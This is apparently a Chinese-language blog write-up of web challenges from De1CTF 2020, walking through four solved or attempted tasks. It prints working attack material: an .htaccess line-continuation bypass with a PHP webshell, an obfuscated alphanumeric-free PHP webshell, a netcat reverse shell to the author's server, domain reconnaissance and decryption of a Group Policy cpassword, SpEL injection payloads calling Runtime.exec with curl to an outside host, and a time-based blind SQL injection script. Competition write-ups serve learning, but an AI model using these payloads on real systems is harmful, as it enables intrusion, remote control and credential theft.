终于到第二次XCTF了。没想到De1ta的题这次这么顶,果然是出给国际队伍的难度。(膜一波国内外大佬队伍)
小绿草这次也就我们大二的几个在打,大家基本都自闭了。WEB自己也只做出两道题,说实话要是自己JAVA的学习计划再提前一点的话说不定能把calc那题出了的...这样也不至于被卡在20名开外。
等wp出来自己争取把能做的题都复现了。
checkin
这题还算比较简单.就是自己一开始手贱选的mixture去做浪费了不少时间
首先简单上传FUZZ下,会发现限制了filename,filetype以及file的内容
其他的都还好。不过内容黑名单里
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents
主要是一个ph的问题。对webshell而言,应该只能使用不闭合的短标签了
但是因为文件后缀严格限制,所以只能按照要求上传图片马。现在需要.htaccess来控制解析它。
幸运的是,.htaccess并没有被限制
不过注意。.htaccess中常见的几种把.jpg解析成php的写法中,php是必不可少的.那就得绕过限制上传
这里就有两种思路了,一种是上传cgi进行getshell,当时简单搜了下发现确实并不需要php出现
但是更简单的是来自XNUCA的非预期解。使用\直接绕过waf。
即使是.htaccess这种说法上不允许换行的文件,它也是支持\
直接换行的,因此轻松bypass
addtype application/x-httpd-p\
hp .jpg
<?=system('cat /flag');
Hard_Pentest_1
做完这题真的是得庆幸自己当初htb做了台windows的靶机。不然连做下去的勇气都没有
比赛时没咋截图,将就下看吧
首先第一步是给出的上传源码
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
webshell的限制,主要是文件后缀跟内容。
自己一开始的想法是正则回溯绕下!preg_match()
但是很快就发现文件太大传不上去。
而且webshell连分号都没了,不好构造。
经队友提醒是台windows靶机,可以利用windwos不区分大小写的特性上传。
同时内容可以参考XCTFFINALlfi,用全短标签构造无字母数字webshell
大概是下面这样的吧,当时自己写的用不出来,借了郁师傅的直接上车。
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
当时还顺手nmap扫了下
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-02 13:27 CST
Nmap scan report for 47.113.219.76
Host is up (0.016s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Microsoft IIS httpd 8.5 (PHP 7.2.29)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Unknown
|_http-title: upload
3389/tcp closed ms-wbt-server
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.83 seconds
然后想抱郁师傅大腿失败了...只能靠自己了。
因为题目同一个ip被出成两个题,基本很容易能看出来要么是单纯提权,要么是windows域渗透。
这里windows靶机八成就是为了域渗透准备的。
硬着头皮不管3721先弹个shell
当时根目录有别的师傅传的NC,那就不用我自己传了。
.\nc.exe vpsip port -e powershell
这样不至于在uploads目录被删时丢掉所有shell.
然后传个winPEAS.exe 进行信息收集。
这个也是做htb时学到的脚本,一般是为了提权扫描下。基本上能满足需求。
信息里有一处比较明显
脚本列出的信息中有一个域用户名字很敏感。HintZip_Pass
下面开始手动信息收集
参考这篇文章域渗透总结
域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机
所以域渗透的核心是通过可控的域用户,收集其中的可用信息,进一步利用其他漏洞发展更多域用户。最后能拿到管理员的哈希,基本就算渗透完整了。
ipconfig /all可以确认处于域管理模式中
PS C:\Users\Public> net user /domain
net user /domain
The request will be processed at a domain controller for domain De1CTF2020.lab.
User accounts for \\dc.De1CTF2020.lab
-------------------------------------------------------------------------------
Administrator De1CTF1 de1ta
Guest HintZip_Pass krbtgt
web
The command completed successfully.
查询域用户时也能得到跟winPEAS一样的关于域用户的信息。
尝试net use
PS C:\> net use
net use
New connections will be remembered.
Status Local Remote Network
-------------------------------------------------------------------------------
OK \\192.168.0.12\Hint Microsoft Windows Network
The command completed successfully.
发现\\192.168.0.12\Hint
。且由于我们刚刚是建立的IPC空链接。因此可以无需用户名密码访问它。(不过我后来再看时发现这个地址没了)
net view\\192.168.0.12\
也能发现有Hint,SYSVOL,NETLOGIN几个目录
直接pushd\\192.168.0.12\Hint
进入filesystem.发现了一个flag1_and_flag2hint.zip
基于我们玩的是多人渗透。所以最好把它copy到自己私密的位置。或者把它以其他文件格式保存下来。(因为我在思考如何把它拿下来时刚好在蚁剑的shell里发现别人的zip文件2333)
直接下好别人的zip后,现在要一个密码
这里就体现出信息收集的重要性了。因为我们之前发现可以用的文件夹除了Hint还有SYSVOL.所以我选择百度域渗透 SYSVOL
得到这篇文章域渗透——利用SYSVOL还原组策略中保存的密码
在域中,存在一个默认的共享路径\\<DOMAIN>\SYSVOL\<DOMAIN>\
域管理员在使用组策略批量管理域内主机时,如果配置组策略的过程中需要填入密码,那么该密码会被保存到共享文件夹\SYSVOL下,默认所有域内用户可访问,虽然密码通过AES 256进行加密,密钥是公开在微软官网的。
参考这篇文章域渗透:GPP(Group Policy Preferences)漏洞
可以使用dir /s /a \\域控IP\SYSVOL\*.xml
来尝试列出存在的xml
dir /s /a \\192.168.0.12\SYSVOL\*.xml
得到完整路径后读取。这里试了下type不行,gc不行。用more成了
more \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>
这个cpassword恰好是属于HintZip_Pass的。那么根据上文,由于私钥暴露。只要知道公钥cpassword即可破解。
kali有现成的gpp-decrypt 直接用gpp-decrypt uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08
就成。
得到密码后解出zip文件
这题做完后后续提示看都不想看了.真的是难.不过收获特挺多的。
(以后我一定好好学渗透.jpg)
calc
昨天比赛时没做出来...第二天zjy师傅构造出了payload。才感慨自己还是太菜了。
抓包就能得到spel/calc?calc=
的路由
提示的这么明显,只能是spEL的表达式注入了。
不过简单FUZZ一下,发现果不其然有waf。
大概有这些关键字吧,
#,getClass, T( ,java.lang, new ,String,
想要直接RCE当然不行。所以得构造
第一想法是查资料,找到不少师傅做code-breaking时用反射进行spEL-RCE的payload
原本是
Runtime.getRuntime().exec()
通过反射,我们就能巧妙利用反射构造出类与方法。使用字符串拼接绕过。
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"curl xxxx");
但是这里String,getClass没了。不过也有方法绕过
使用''['class']
数组直接绕
这是参考SEAM2.3.1的一个反序化payload的改法
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')
然而payload打了一发发现报错。然后就无语了。这时想起来,抓包时发现header里有openrasp,估计是直接从底层把runtime之类的给hook掉了。
然后郁师傅说不用执行命令也能读。仔细想挺有道理的,不然没必要直接告诉我们flag在根目录
但是确实java太菜了...下面是队友教我的方法。
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
原来在spEL里是不区分关键字大小写的...那直接用java能读文件的类来就行了...
Java 读文件的5种方式
同理也可
New java.util.Scanner(New java.io.File("/flag")).nextLine()
java是真的要好好研究下了、
ps:在推送里看到一篇文章恰好提到了De1这题。才发现dalao直接bypass openrasp进行RCE了...
参考:bypass openrasp SpEL RCE 的过程及思考
原来深挖spEL的底层解析源码,可发现空字符能直接bypass.所以,又可以产生完全不依赖new的实例化方法.直接空字符插进被过滤的T(
中即可
甚至进一步,还能通过反序列化的思想,不显示的加载恶意类,达成RCE。
orz原来java的姿势这么多的么...
mixture
可以任意登录
member.php注释中有 orderby
测了下发现应该是order by 后的语句
开始以为只能接limit
那有且仅有procedure analyse
一种方法
但报错函数都没了。延时延不了。版本问题只能用5.6以下的函数。真心没手段了
我有罪,这种难度的sql被卡住。该打。
直接and 分流我居然会忘了。
import requests
import urllib.parse
url='http://134.175.185.244/member.php?orderby='
flag=""
for i in range(1,30):
print(i)
a=0
for str1 in "qwdfkjurlasetghnioyzxcvbpmQWDFKJURLASETGHNIOYZXCVBPM1234567890,":
payload = "and case when (substr((select password from member),"+str(i)+",1)='"+str1+"') then (benchmark(500000,sha(1))) else 1 end"
payload = urllib.parse.quote(payload)
try:
r = requests.get(url + payload, timeout=2.5)
except requests.exceptions.ReadTimeout:
flag+=str1
print(flag)
a=1
break
if a==0:
break
求得密码解出来得到
goodlucktoyou
进去后一开始发现有一个select.php任意读文件的功能与admin.php给出的phpinfo,但是读完源码后发现居然使用了自定义的Minclude这个函数来包含。phpinfo里也能看到这个函数的so文件....所以这题真面目是WEB-PWN,应该是通过调这个so来溢出执行根目录的readflag...
然而比赛已经快结束了,等于白给。
AnimalCrossing
这题等wp吧...老实说不想复现了。因为题目得到flag除了要弹admin的cookie,还要从admin界面的图片获取信息...
没见过这么磨人的xss.
网友评论